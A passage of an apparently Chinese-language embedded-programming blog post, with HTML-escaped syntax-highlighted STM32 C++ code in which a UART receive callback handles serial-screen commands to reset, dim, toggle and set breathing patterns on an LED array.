class=\"n\"\u003ectn\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e## 串口屏控制(状态控制和直接控制)\n这里的状态一是Crt_Main_Task, 也就写了个流水,二是每个灯独立的状态控制,用到的也就一个 呼吸。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e62\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ereset_whole\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrt_Main_Task\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtLedIndex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eresetAll\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edelay_20\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_RxCpltCallback\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUART_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_UART_CLEAR_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_CLEAR_IDLEF\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_UART_DISABLE_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_IT_TXE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrt_Main_Task\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 全关复位\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x01\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ereset_whole\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 设置亮度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x02\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esetCompares\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 亮灭互转且设置亮度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x03\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003etoggles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etoggles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etoggleLeds\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoggles\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 呼吸(逐渐亮/暗)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x04\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003etasks\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etasks\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esetTasks\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etasks\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 流水呼吸\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x05\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrt_Main_Task\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这个函数用来处理各led的顺序大小然后重新排序\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003esortVectorByValue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBlink_Leds\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBlink_Cnt\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_UART_ENABLE_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_IT_TXE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eHAL_UART_Receive_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_UART_FLUSH_DRREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_UART_CLEAR_FLAG\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_FLAG_RXNE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e上面的sortVectorByValue,这直接 Ai 写吧,先排个序然后再判断相邻的是不是相等就行了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan 